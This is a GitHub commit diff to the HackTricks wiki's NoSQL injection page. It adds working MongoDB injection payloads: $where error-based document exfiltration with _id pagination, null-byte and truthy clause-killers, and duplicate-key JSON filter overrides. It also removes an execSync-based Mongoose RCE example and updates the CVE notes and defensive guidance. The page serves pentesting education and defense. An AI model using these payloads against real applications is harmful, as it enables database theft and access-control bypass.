Skip to content

Commit 5e594f3

Browse files
authored
Merge pull request #2053 from HackTricks-wiki/research_update_src_pentesting-web_nosql-injection_20260326_025046
Research Update Enhanced src/pentesting-web/nosql-injection....
2 parents af64c1d + 71bd05a commit 5e594f3

1 file changed

Lines changed: 54 additions & 13 deletions

File tree

src/pentesting-web/nosql-injection.md

Lines changed: 54 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -134,21 +134,61 @@ Inject `throw new Error(JSON.stringify(this))` in a `$where` clause to exfiltrat
134134
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
135135
```
136136
137+
If the application only leaks the first failing document, keep the dump deterministic by excluding documents you already recovered. Comparing against the last leaked `_id` is an easy paginator:
138+
139+
```json
140+
{ "$where": "if (this._id > '66d5ef7d01c52a87f75e739c') { throw new Error(JSON.stringify(this)) }" }
141+
```
142+
143+
### Beating pre/post conditions in syntax injection
144+
145+
When the application builds the Mongo filter as a **string** before parsing it, syntax injection is no longer limited to a single field and you can often neutralize surrounding conditions.
146+
147+
In `$where` injections, JavaScript truthy values and poison null bytes are still useful to kill trailing clauses:
148+
149+
```javascript
150+
' || 1 || 'x
151+
' || 1%00
152+
```
153+
154+
In raw JSON filter injection, duplicate keys can override earlier constraints on parsers that follow a **last-key-wins** policy:
155+
156+
```json
157+
// Original filter
158+
{"username":"<input>","role":"user"}
159+
160+
// Injected value of <input>
161+
","username":{"$ne":""},"$comment":"dup-key
162+
163+
// Effective filter on permissive parsers
164+
{"username":"","username":{"$ne":""},"$comment":"dup-key","role":"user"}
165+
```
166+
167+
This trick is parser-dependent and only applies when the application assembles JSON with string concatenation/interpolation first. It does **not** apply when the backend keeps the query as a structured object end-to-end.
168+
137169
## Recent CVEs & Real-World Exploits (2023-2025)
138170
139171
### Rocket.Chat unauthenticated blind NoSQLi – CVE-2023-28359
140-
Versions ≤ 6.0.0 exposed the Meteor method `listEmojiCustom` that forwarded a user-controlled **selector** object directly to `find()`. By injecting operators such as `{"$where":"sleep(2000)||true"}` an unauthenticated attacker could build a timing oracle and exfiltrate documents. The bug was patched in 6.0.1 by validating selector shape and stripping dangerous operators.
172+
Versions ≤ 6.0.0 exposed the Meteor method `listEmojiCustom` that forwarded a user-controlled **selector** object directly to `find()`. By injecting operators such as `{"$where":"sleep(2000)||true"}` an unauthenticated attacker could build a timing oracle and exfiltrate documents. The bug was patched in 6.0.1 by validating selector shape and stripping dangerous operators.
141173
142-
### Mongoose `populate().match` `$where` RCE – CVE-2024-53900 & CVE-2025-23061
143-
When `populate()` is used with the `match` option, Mongoose (≤ 8.8.2) copied the object verbatim *before* sending it to MongoDB. Supplying `$where` therefore executed JavaScript **inside Node.js** even if server-side JS was disabled on MongoDB:
174+
### Mongoose `populate().match` search injection – CVE-2024-53900 & CVE-2025-23061
175+
If an application forwards attacker-controlled objects into `populate({ match: ... })`, vulnerable Mongoose versions allow `$where`-based search injection inside the populate filter. CVE-2024-53900 covered the top-level case; CVE-2025-23061 covered a bypass where `$where` was nested under operators such as `$or`.
144176
145177
```js
146-
// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id')
147-
Post.find()
148-
.populate({ path: 'author', match: req.query.author }); // RCE
178+
// Dangerous: attacker controls the full match object
179+
Post.find().populate({ path: 'author', match: req.query.author });
149180
```
150181
151-
The first patch (8.8.3) blocked top-level `$where`, but nesting it under `$or` bypassed the filter, leading to CVE-2025-23061. The issue was fully fixed in 8.9.5, and a new connection option `sanitizeFilter: true` was introduced.
182+
Use an allow-list and map scalars explicitly instead of forwarding the whole request object. Mongoose also supports `sanitizeFilter` to wrap nested operator objects in `$eq`, but it should be treated as a safety net rather than a replacement for explicit filter mapping:
183+
184+
```js
185+
mongoose.set('sanitizeFilter', true);
186+
187+
Post.find().populate({
188+
path: 'author',
189+
match: { email: req.query.email }
190+
});
191+
```
152192
153193
### GraphQL → Mongo filter confusion
154194
Resolvers that forward `args.filter` directly into `collection.find()` remain vulnerable:
@@ -166,11 +206,11 @@ Mitigations: recursively strip keys that start with `$`, map allowed operators e
166206
167207
## Defensive Cheat-Sheet (updated 2025)
168208
169-
1. Strip or reject any key that starts with `$` (`express-mongo-sanitize`, `mongo-sanitize`, Mongoose `sanitizeFilter:true`).
170-
2. Disable server-side JavaScript on self-hosted MongoDB (`--noscripting`, default in v7.0+).
171-
3. Prefer `$expr` and aggregation builders instead of `$where`.
172-
4. Validate data types early (Joi/Ajv) and disallow arrays where scalars are expected to avoid `[$ne]` tricks.
173-
5. For GraphQL, translate filter arguments through an allow-list; never spread untrusted objects.
209+
1. Strip or reject keys that start with `$`; if Express is in front of Mongo/Mongoose, sanitize `req.body`, `req.query`, and `req.params` before they reach the ORM.
210+
2. Disable server-side JavaScript on self-hosted MongoDB (`--noscripting` or `security.javascriptEnabled: false`) so `$where` and similar JS sinks are unavailable.
211+
3. Prefer `$expr` and typed query builders instead of `$where`.
212+
4. Validate data types early (Joi/Ajv/Zod) and disallow arrays or objects where scalars are expected to avoid `[$ne]` tricks.
213+
5. For GraphQL, translate filter arguments through an allow-list; never spread untrusted objects into Mongo/Mongoose filters.
174214
175215
## MongoDB Payloads
176216
@@ -304,5 +344,6 @@ for u in get_usernames(""):
304344
- [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/)
305345
- [https://nvd.nist.gov/vuln/detail/CVE-2023-28359](https://nvd.nist.gov/vuln/detail/CVE-2023-28359)
306346
- [https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900](https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900)
307-
347+
- [https://sensepost.com/blog/2025/getting-rid-of-pre-and-post-conditions-in-nosql-injections/](https://sensepost.com/blog/2025/getting-rid-of-pre-and-post-conditions-in-nosql-injections/)
348+
- [https://mongoosejs.com/docs/6.x/docs/api/mongoose.html](https://mongoosejs.com/docs/6.x/docs/api/mongoose.html)
308349
{{#include ../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)